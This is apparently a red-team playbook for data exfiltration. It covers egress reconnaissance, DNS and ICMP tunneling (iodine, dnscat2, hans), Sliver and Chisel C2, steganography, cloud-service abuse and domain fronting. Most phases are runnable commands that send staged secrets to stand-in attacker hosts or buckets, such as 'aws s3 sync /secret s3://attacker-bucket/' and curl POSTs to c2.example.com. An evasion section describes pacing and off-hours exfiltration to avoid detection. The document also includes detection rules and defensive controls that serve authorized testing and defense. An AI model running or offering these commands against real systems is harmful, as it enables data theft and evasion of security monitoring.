Data Exfiltration Attack

Data Exfiltration Attack

Summary

Exfiltration is the final stage of the kill chain — once attackers have collected data, they must move it out without tripping DLP, IDS/IPS, SWG, or CASB controls. This domain covers the full exfiltration landscape: DNS tunneling (the most common C2/exfil channel in restricted environments), ICMP/HTTP(S) tunneling, protocol smuggling over legitimate services (Google Drive / OneDrive / GitHub / Cloudflare), steganographic exfiltration (PNG/BMP/PDF steg), cloud-native exfil (S3 cross-account, OpenSearch collection, BigQuery external tables), and DLP bypass techniques. Includes operator playbooks for egress testing, DLP validation, and APT exfiltration simulation against enterprise defenses (Zscaler/Netskope/Forcepoint/Palo Alto).

Key Terms

• Exfiltration — Unauthorized transfer of data out of a network (MITRE TA0010)
• C2 / Command and Control — Channel attacker uses to control compromised host (TA0011)
• DNS tunneling — Encoding IP/TCP traffic inside DNS queries (iodine, dnscat2)
• Domain fronting — Using legitimate CDN SNI to hide attacker origin (T1090.004)
• DLP — Data Loss Prevention (content-aware egress filter)
• SWG — Secure Web Gateway (URL + content filtering for HTTP/HTTPS)
• CASB — Cloud Access Security Broker (cloud-aware DLP)
• LOLBin — Living Off The Land Binary (signed Microsoft binaries used for exfil)
• Dead-drop resolver — Public service (GitHub, Telegram) used as C2 polling point
• Low-and-slow — Exfil cadence kept below detection baseline (1–10 MB/day)
• Double extortion — Exfil + ransomware pattern (Conti, LockBit, BlackCat)
• Air-gap exfil — Out-of-band channels (acoustic, EM, LED) for isolated networks

Scope

This skill covers offensive exfiltration testing for red team engagements:

• Egress validation against DLP / SWG / CASB
• DNS / ICMP / HTTPS / stego / cloud exfil channels
• APT simulation (state actor + cybercrime tradecraft)
• DLP rule validation
• Reporting on detection gaps

Out of scope: data theft (real PII), destructive wipers, mass DoS of egress, production source-of-truth corruption.

Use Cases

• Egress validation: Test whether SWG/CASB catches DNS tunneling, HTTPS beaconing, low-and-slow exfil
• DLP rule testing: Validate DLP catches PAN, SSN, MRN, source code, design docs across channels
• APT simulation: Mimic APT41 / SolarWinds / Emotet / Conti exfiltration patterns
• DNS tunnel C2: Operate C2 in DNS-only environments (captive portals, segmented OT)
• Cloud exfil: Abuse legitimate cloud services (S3 / BigQuery / OpenSearch) for stealth exfil
• Stego exfil: Hide payload in PNG/BMP/PDF/WAV metadata for covert channel
• Protocol smuggling: Disguise exfil as legitimate traffic (NTP, SCTP, WebSocket, gRPC)
• Dead-drop resolvers: Use public services (GitHub, Reddit, Pastebin, Telegram) for C2 polling
• ICMP tunneling: Operate in ICMP-only environments (some firewall configs allow ICMP only)
• Domain fronting: Hide exfil destination behind CDN front (Cloudflare, Fastly, Akamai)

Core Tools

Methodology

Phase 1 — Reconnaissance

Map the egress surface: what protocols are allowed, where DLP sits, what cloud services are reachable.

bashCopy code
# Test outbound protocols
for proto in 53/udp 53/tcp 80/tcp 443/tcp 123/udp 4444/tcp 8080/tcp; do
  nc -vz -w 2 exit-proxy.example.com ${proto/\/*/} -p ${proto/*\//} 2>&1 | grep -E "succeeded|failed"
done

# Check DNS egress (most permissive)
dig +short AAAA exfil.example.com @internal-dns.example.com

# Identify DLP/SWG/CASB in path
curl -s https://egress-check.example.com/ | grep -iE "zscaler|netskope|forcepoint|paloalto|cisco|symantec"

Phase 2 — Channel Selection

Pick exfil channel based on egress surface:

Phase 3 — Payload Preparation

Stage data for exfil — chunk, compress, encrypt, encode.

bashCopy code
# Stage + chunk
split -b 1024 secret.tar.gz chunk_

# Compress + encrypt
tar czf - /secret | openssl enc -aes-256-cbc -k "$KEY" -out exfil.enc

# Base64 encode for text channel
base64 -w0 exfil.enc > exfil.b64

Phase 4 — DNS Tunneling

bashCopy code
# iodine server (attacker-controlled NS)
iodined -c -f -P REPLACE_WITH_YOUR_PW 172.16.0.1 t1.exfil.example.com

# iodine client (victim)
iodine -P REPLACE_WITH_YOUR_PW t1.exfil.example.com
# Now TUN device up, can SSH/SCP over DNS

# dnscat2 (more stealthy, supports C2)
ruby dnscat2.rb exfil.example.com

# Client
./dnscat2 exfil.example.com

Phase 5 — HTTPS C2/Exfil

bashCopy code
# Sliver HTTPS implant
sliver > https --domain legit-looking.example.com --tls-cert fake.crt

# Chisel reverse tunnel (mTLS)
chisel server -p 8080 --reverse --tls-key server.key --tls-cert server.crt
chisel client https://chisel.example.com:8080 R:1080:socks

# Merlin HTTP/2
merlin > set URL https://cdn.example.com/

Phase 6 — ICMP Tunneling

bashCopy code
# Hans (ICMP tunnel)
hans -v -f -s 1 -p REPLACE_WITH_YOUR_PW 10.0.0.1   # server
hans -v -f -c -p REPLACE_WITH_YOUR_PW 10.0.0.1     # client

# Ptunnel (ICMP tunnel via ping)
ptunnel -r exfil.example.com -lp 8000

Phase 7 — Steganographic Exfil

bashCopy code
# Embed payload in PNG
steghide embed -cf cover.png -ef exfil.enc -p REPLACE_WITH_YOUR_PW -sf stego.png

# Embed in WAV
steghide embed -cf cover.wav -ef exfil.enc -p REPLACE_WITH_YOUR_PW -sf stego.wav

# PDF stego (metadata + JavaScript payload)
exiftool -Comment="$(base64 exfil.enc)" cover.pdf -o stego.pdf

Phase 8 — Cloud Service Abuse

bashCopy code
# Exfil via legitimate cloud service
# Google Drive
rclone copy /secret gdrive:exfil/

# AWS S3 cross-account
aws s3 sync /secret s3://attacker-bucket/ --endpoint-url https://s3.amazonaws.com

# GitHub gist
curl -X POST -H "Authorization: token $GH_PAT" \
  https://api.github.com/gists -d @gist-payload.json

# Cloudflare R2
aws s3 sync /secret s3://exfil/ --endpoint-url https://abc.r2.cloudflarestorage.com

Phase 9 — Domain Fronting

bashCopy code
# Domain fronting via Cloudflare
curl -H "Host: hidden-c2.example.com" \
     https://legitimate-cdn-hosted-on-cloudflare.com/

# Domain fronting via AWS CloudFront
curl -H "Host: hidden-c2.example.com" \
     https://d111111abcdef8.cloudfront.net/

Phase 10 — Reporting

Produce exfil validation report:

• Channels tested (which succeeded / failed)
• Volume exfil'd per channel
• DLP/SWG alerts triggered (or not)
• Detection gaps

Practical Steps

Step 1 — Map egress surface

bashCopy code
# Identify allowed outbound
for port in 53 80 443 123 445 3306 3389 5432 5900 8080 8443; do
  timeout 2 nc -vz exit-proxy.example.com $port 2>&1 | grep -E "succeeded" && echo "Port $port OPEN"
done

# Test DNS recursion
dig +short AAAA exfil.attacker.example.com @internal-dns.example.com

Step 2 — Test DNS tunnel

bashCopy code
# Set up attacker NS (skip this in lab)
# Run iodine client on victim
iodine -P REPLACE_WITH_YOUR_PW t1.exfil.example.com
# Verify TUN device
ip addr show dns0
# Now SSH over DNS
ssh user@172.16.0.1

Step 3 — Test HTTPS C2

bashCopy code
# Sliver implant
sliver > generate --http https://c2.example.com --os linux
sliver > http
# Implant beacons out, exfil via HTTP POST

# Beaconing simulation
while read chunk; do
  curl -X POST https://c2.example.com/upload -d "$chunk"
done < chunks.txt

Step 4 — Test stego exfil

bashCopy code
# Generate cover image
ffmpeg -f lavfi -i color=black:s=1920x1080:d=1 cover.png

# Embed
steghide embed -cf cover.png -ef secret.enc -p REPLACE_WITH_YOUR_PW -sf stego.png

# Verify extraction works
steghide extract -sf stego.png -p REPLACE_WITH_YOUR_PW

Step 5 — Test DLP bypass

bashCopy code
# Generate synthetic PII (for testing DLP rules)
python3 -c "
import random
for _ in range(100):
  print(f'{random.randint(100000000, 999999999):09d}')  # SSN-like
" > fake-ssn.txt

# Try exfil raw (should be caught)
curl -X POST https://exfil.example.com/ -d @fake-ssn.txt

# Try exfil encoded (test if DLP decodes)
base64 fake-ssn.txt | curl -X POST https://exfil.example.com/ -d @-

# Try exfil encrypted (DLP can't see)
openssl enc -aes-256-cbc -k "$KEY" -in fake-ssn.txt | curl -X POST https://exfil.example.com/ -d @-

Defense Perspective

Defenders must assume:

1. DNS is a C2 channel — most DLP ignores DNS; APTs exploit this
2. Cloud services are dual-use — Google Drive / GitHub gists / Pastebin are exfil vectors
3. TLS inspection has blind spots — pinned apps, certificate-bound, DoH/DoQ bypass SWG
4. Volume-based detection misses low-and-slow — rate-based detection misses patient exfil
5. Stego is hard to detect at scale — but can flag anomalies (image entropy, metadata size)
6. ICMP is overlooked — many networks allow ICMP; few inspect payload
7. Domain fronting breaks destination-based detection — must inspect SNI vs Host header
8. LOLBins bypass allowlist — certutil, bitsadmin, mshta are signed Microsoft binaries

Key defensive controls:

• DNS firewalling (block known-tunneled NS, monitor TXT query volume)
• TLS inspection with CFW (Cloudflare Workers), but respect cert pinning
• Cloud service allowlist + monitoring (Google Workspace / M365 audit logs)
• Steganography detection (entropy analysis, metadata size limits)
• Domain fronting detection (SNI ≠ Host header alert)
• LOLBin monitoring (certutil / bitsadmin / mshta telemetry)
• Behavior-based detection (volume baseline + peer-group anomaly)
• Decoy documents (canarytokens) to detect exfil channel
• Egress allowlist (no direct Internet, force proxy)

Detection Methods

Network-Layer Indicators

• DNS tunneling signatures: Long DNS queries (>50 chars), high-entropy subdomains, TXT/A record bursts.
• DNS beaconing: Periodic DNS queries to attacker-controlled domain (Cobalt Strike signature).
• HTTPS to unfamiliar domains: Large uploads to unknown cloud storage / file sharing.
• Protocol anomalies: SSH over 443, HTTP tunneling, ICMP tunneling (large ping payloads).

SIEM Detection Rules

• Splunk SPL: index=dns | where len(query) > 50 | stats count by src_ip | where count > 100
• Splunk SPL: index=firewall action=allowed | stats sum(bytes_out) by src_ip | sort -sum(bytes_out) | head 20
• RITA (Real Intelligence Threat Analytics): Beacon detection via statistical analysis.
• DLP systems: Forcepoint, Symantec DLP for content-based detection.

Endpoint Indicators

• Mass file read events: Process reading many files in short window (precursor to exfil).
• Compress-then-upload: tar/zip followed by curl/scp within 60 seconds.
• Encrypted archive creation: New .zip/.7z with password ( evasion signature).

Defense Evasion Techniques

Bandwidth-Aware Exfiltration

• Low & slow: Pace exfil below network baseline (e.g., 100 KB/hr); evades rate-based detection.
• Distribute across protocols: Mix DNS, HTTPS, ICMP; spread exfil across multiple channels.
• Time-windowed: Use off-hours (1-5 AM local) when network baseline is low.
• Trickle over weeks: Spread exfil over long period; below anomaly threshold.

Covert Channels

• DNS tunneling: Encode data in DNS queries (dnscat2, iodine); bypasses most firewall rules.
• ICMP tunneling: Data in ICMP echo payload; bypasses port-based filtering.
• HTTP/3 (QUIC): Newer protocol; many monitoring tools don't decode yet.
• WebSocket: Persistent connection; bypasses connection-counting rate limits.
• Cloud CDN abuse: Use legitimate CDN (Cloudflare, AWS CloudFront) to mask destination.

Steganography

• Image LSB: Encode data in least-significant bits of PNG/BMP images.
• Audio steganography: Encode in WAV/MP3 spectrogram (Coagula, Arss).
• Video steganography: Frame-by-frame LSB modification; high bandwidth.
• PDF object abuse: Hide data in PDF object streams.
• Network packet timing: Encode data in inter-packet delays (covert timing channel).

Cloud Exfiltration Stealth

• Use sanctioned apps: Upload to corporate OneDrive/Google Drive; below suspicion.
• OAuth consent abuse: Use legitimate OAuth flow to access user data via Microsoft Graph.
• Snapshot sharing: Share EBS/snapshot to attacker AWS account via legitimate mechanism.
• Cross-region replication: S3 replication to attacker-controlled bucket; appears as DR config.

References

• MITRE ATT&CK Exfiltration Tactics — https://attack.mitre.org/tactics/TA0010/
• MITRE ATT&CK Command and Control — https://attack.mitre.org/tactics/TA0011/
• CISA AA21-148A — DarkSide Ransomware (exfil techniques)
• Mandiant APT1 Report (DNS tunneling exfil)
• CrowdStrike 2024 Global Threat Report
• Google TAG — APT41 DNS Tunneling
• SolarWinds SUNBURST Analysis (FireEye, 2020)
• "Network Security Assessment" (McNutt, 2024)
• "Security Engineering" (Anderson, 3rd Edition)
• DNS Tunneling Detection — https://github.com/bsidessf/dns-tunneling-detect
• OWASP Egress Testing Guide
• IETF RFC 7858 — DNS over TLS
• IETF RFC 8484 — DNS over HTTPS
• SANS ICS — Egress monitoring for OT networks

Channel Selection Matrix

MITRE ATT&CK Mapping

Engagement Workflow

1. Scope — confirm egress channels, DLP vendor, allowed volume cap
2. Recon — map egress surface (DNS / HTTPS / ICMP / cloud SaaS)
3. Channel select — match channel to egress + DLP visibility
4. Lab — build C2 infrastructure, steg tools, synthetic PII
5. Attack — payload prep → channel test → DLP bypass
6. Cleanup — remove implants, rotate infrastructure
7. Report — channels tested, volume exfil'd, DLP alerts triggered

DLP Vendor Cheat Sheet

Volume Budget Guidelines

Threat Actor Profiles

Detection Coverage Map

Compliance Context

• PCI DSS 3.4.1 — PAN data must be unreadable during transmission (DLP required)
• HIPAA Security Rule — PHI egress monitoring (CASB recommended)
• GDPR Article 32 — encryption + DLP for personal data
• SOC 2 Type II — CC6.7 transmission controls
• ISO 27001:2022 — A.13.1 network controls + A.13.2 information transfer
• NIST 800-53 Rev 5 — SC-8 transmission confidentiality + AC-3 enforcement
• NYDFS 500.15 — covered entity exfiltration detection
• SEC Rule 10-12B (2024) — 4-day breach disclosure

Lab Infrastructure

bashCopy code
# Bind9 (DNS lab)
sudo apt install bind9

# iodine server (NS)
iodined -c -f -P REPLACE_WITH_YOUR_PW 172.16.0.1 t1.exfil.example.com

# Sliver C2
curl https://sliver.sh/install | sudo bash

# steghide
sudo apt install steghide

# Rclone (cloud exfil)
curl https://rclone.org/install.sh | sudo bash

Quality Checklist

• All in-scope channels tested (DNS / HTTPS / ICMP / stego / cloud)
• DLP / SWG vendor identified
• Volume exfil'd documented per channel
• DLP alerts triggered (or not — explain why)
• Detection rules authored for ≥3 gaps
• Synthetic PII used (no real customer data)
• Cleanup performed
• Customer debrief scheduled
• Final report delivered
• SOC handoff completed